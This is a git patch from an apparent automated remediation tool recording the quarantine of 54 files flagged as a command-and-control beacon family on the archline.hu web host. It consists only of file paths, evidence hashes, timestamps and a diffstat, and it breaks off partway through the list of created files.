From 510e2f205fb19c47dcc3ff21b53ce1801162caaa Mon Sep 17 00:00:00 2001
From: imrcli-remediator <imrcli-remediator@localhost>
Date: Sat, 18 Jul 2026 18:02:41 +0200
Subject: [PATCH] =?UTF-8?q?quarantine:=20family=3Dc2-beacon=20(54=20f?=
 =?UTF-8?q?=C3=A1jl)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

vhost: www.archline.hu
rel_path: _h3x_0auup6mf.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2899

vhost: www.archline.hu
rel_path: _h3x_4850bh4a.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2915

vhost: www.archline.hu
rel_path: _h3x_4g075mza.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2909

vhost: www.archline.hu
rel_path: _h3x_7kri7up1.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2833

vhost: www.archline.hu
rel_path: _h3x_8ff9si92.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2878

vhost: www.archline.hu
rel_path: _h3x_c9lejjtn.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2835

vhost: www.archline.hu
rel_path: _h3x_czk16vzq.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2846

vhost: www.archline.hu
rel_path: _h3x_czx65dw0.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2917

vhost: www.archline.hu
rel_path: _h3x_eadu7slw.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2864

vhost: www.archline.hu
rel_path: _h3x_eug6h7tt.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2830

vhost: www.archline.hu
rel_path: _h3x_fcmkp9am.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2865

vhost: www.archline.hu
rel_path: _h3x_gx74cxjp.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2873

vhost: www.archline.hu
rel_path: _h3x_ixxtxhjy.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2862

vhost: www.archline.hu
rel_path: _h3x_k72j0c9s.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2851

vhost: www.archline.hu
rel_path: _h3x_mvo7778m.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2825

vhost: www.archline.hu
rel_path: _h3x_nx6e9wei.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2853

vhost: www.archline.hu
rel_path: _h3x_oqdklpwt.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2922

vhost: www.archline.hu
rel_path: _h3x_q9pnu7nm.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2910

vhost: www.archline.hu
rel_path: _h3x_t49gsxsb.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2886

vhost: www.archline.hu
rel_path: _h3x_tgzxhs6h.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2891

vhost: www.archline.hu
rel_path: _h3x_txdr2don.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2837

vhost: www.archline.hu
rel_path: _h3x_w2mu1xvl.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2906

vhost: www.archline.hu
rel_path: _h3x_zpjfu3nd.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 2860

vhost: www.archline.hu
rel_path: cache/_h3x_7femdzwq.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3115

vhost: www.archline.hu
rel_path: cache/_h3x_jbpjh349.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3126

vhost: www.archline.hu
rel_path: cache/_h3x_kgo3v2ap.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3114

vhost: www.archline.hu
rel_path: cache/_h3x_qrl0utnk.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3123

vhost: www.archline.hu
rel_path: cache/_h3x_suwbbwff.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3119

vhost: www.archline.hu
rel_path: cache/_h3x_xwl185f0.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3118

vhost: www.archline.hu
rel_path: images/2017/ch.txt
result: quarantined
evidence_sha256: f967b3425b2c080584e488492715af17fc29a5f5ef9f7f27d0108dbf128ecb15
timestamp: 20260718T160241Z
finding_ref: 3515

vhost: www.archline.hu
rel_path: images/_h3x_3bh4rjb2.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3510

vhost: www.archline.hu
rel_path: images/_h3x_46wa7ggf.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3494

vhost: www.archline.hu
rel_path: images/_h3x_8r32ttzj.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3489

vhost: www.archline.hu
rel_path: images/_h3x_bggl9cgz.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3469

vhost: www.archline.hu
rel_path: images/_h3x_s7knpv5f.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3509

vhost: www.archline.hu
rel_path: images/_h3x_zdi8lujb.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3471

vhost: www.archline.hu
rel_path: logs/_h3x_9pq0ueh6.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 4795

vhost: www.archline.hu
rel_path: logs/_h3x_czrsgpys.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 4793

vhost: www.archline.hu
rel_path: logs/_h3x_ipqsu3tu.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 4786

vhost: www.archline.hu
rel_path: logs/_h3x_qx0jpbsm.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 4785

vhost: www.archline.hu
rel_path: logs/_h3x_qzmhjwqx.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 4789

vhost: www.archline.hu
rel_path: logs/_h3x_yajzsubg.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 4797

vhost: www.archline.hu
rel_path: media/_h3x_qljjjjvk.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3057

vhost: www.archline.hu
rel_path: media/_h3x_twr3u1w5.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3045

vhost: www.archline.hu
rel_path: media/_h3x_u9smyqi1.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3054

vhost: www.archline.hu
rel_path: media/_h3x_ve93l4dj.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3056

vhost: www.archline.hu
rel_path: media/_h3x_wurtsehy.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3046

vhost: www.archline.hu
rel_path: media/_h3x_xvdnccmk.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3039

vhost: www.archline.hu
rel_path: tmp/_h3x_7lqwo12d.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3569

vhost: www.archline.hu
rel_path: tmp/_h3x_7ye9dcos.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3541

vhost: www.archline.hu
rel_path: tmp/_h3x_cea0tg5l.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3561

vhost: www.archline.hu
rel_path: tmp/_h3x_ge11h1xh.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3568

vhost: www.archline.hu
rel_path: tmp/_h3x_mmb5h47f.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3547

vhost: www.archline.hu
rel_path: tmp/_h3x_p2cfauob.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T160241Z
finding_ref: 3566
---
 .../www/_h3x_0auup6mf.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_0auup6mf.php.json.json.evidence.json | 15 +++++++
 .../www/_h3x_4850bh4a.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_4850bh4a.php.json.json.evidence.json | 15 +++++++
 .../archline.hu/www/_h3x_4g075mza.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_4g075mza.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_7kri7up1.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_7kri7up1.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_8ff9si92.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_8ff9si92.php.json.evidence.json  | 15 +++++++
 .../www/_h3x_c9lejjtn.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_c9lejjtn.php.json.json.evidence.json | 15 +++++++
 .../archline.hu/www/_h3x_czk16vzq.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_czk16vzq.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_czx65dw0.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_czx65dw0.php.json.evidence.json  | 15 +++++++
 .../www/_h3x_eadu7slw.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_eadu7slw.php.json.json.evidence.json | 15 +++++++
 .../archline.hu/www/_h3x_eug6h7tt.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_eug6h7tt.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_fcmkp9am.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_fcmkp9am.php.json.evidence.json  | 15 +++++++
 .../www/_h3x_gx74cxjp.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_gx74cxjp.php.json.json.evidence.json | 15 +++++++
 .../archline.hu/www/_h3x_ixxtxhjy.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_ixxtxhjy.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_k72j0c9s.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_k72j0c9s.php.json.evidence.json  | 15 +++++++
 .../www/_h3x_mvo7778m.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_mvo7778m.php.json.json.evidence.json | 15 +++++++
 .../archline.hu/www/_h3x_nx6e9wei.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_nx6e9wei.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_oqdklpwt.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_oqdklpwt.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_q9pnu7nm.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_q9pnu7nm.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_t49gsxsb.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_t49gsxsb.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_tgzxhs6h.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_tgzxhs6h.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_txdr2don.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_txdr2don.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_w2mu1xvl.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_w2mu1xvl.php.json.evidence.json  | 15 +++++++
 .../archline.hu/www/_h3x_zpjfu3nd.php.json    | 39 +++++++++++++++++++
 .../www/_h3x_zpjfu3nd.php.json.evidence.json  | 15 +++++++
 .../www/cache/_h3x_7femdzwq.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_7femdzwq.php.json.json.evidence.json | 15 +++++++
 .../www/cache/_h3x_jbpjh349.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_jbpjh349.php.json.json.evidence.json | 15 +++++++
 .../www/cache/_h3x_kgo3v2ap.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_kgo3v2ap.php.json.json.evidence.json | 15 +++++++
 .../www/cache/_h3x_qrl0utnk.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_qrl0utnk.php.json.json.evidence.json | 15 +++++++
 .../www/cache/_h3x_suwbbwff.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_suwbbwff.php.json.json.evidence.json | 15 +++++++
 .../www/cache/_h3x_xwl185f0.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_xwl185f0.php.json.json.evidence.json | 15 +++++++
 .../archline.hu/www/images/2017/ch.txt        |  8 ++++
 .../www/images/2017/ch.txt.evidence.json      | 15 +++++++
 .../www/images/_h3x_3bh4rjb2.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_3bh4rjb2.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_46wa7ggf.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_46wa7ggf.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_8r32ttzj.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_8r32ttzj.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_bggl9cgz.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_bggl9cgz.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_s7knpv5f.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_s7knpv5f.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_zdi8lujb.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_zdi8lujb.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_9pq0ueh6.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_9pq0ueh6.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_czrsgpys.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_czrsgpys.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_ipqsu3tu.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_ipqsu3tu.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_qx0jpbsm.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_qx0jpbsm.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_qzmhjwqx.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_qzmhjwqx.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_yajzsubg.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_yajzsubg.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_qljjjjvk.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_qljjjjvk.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_twr3u1w5.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_twr3u1w5.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_u9smyqi1.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_u9smyqi1.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_ve93l4dj.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_ve93l4dj.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_wurtsehy.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_wurtsehy.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_xvdnccmk.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_xvdnccmk.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_7lqwo12d.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_7lqwo12d.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_7ye9dcos.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_7ye9dcos.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_cea0tg5l.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_cea0tg5l.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_ge11h1xh.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_ge11h1xh.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_mmb5h47f.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_mmb5h47f.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_p2cfauob.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_p2cfauob.php.json.json.evidence.json | 15 +++++++
 108 files changed, 2885 insertions(+)
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json
 create mode 100644 var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/images/2017/ch.txt
 create mode 100644 var/www/hosting/archline.hu/www/images/2017/ch.txt.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json
 create mode 100644 var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json
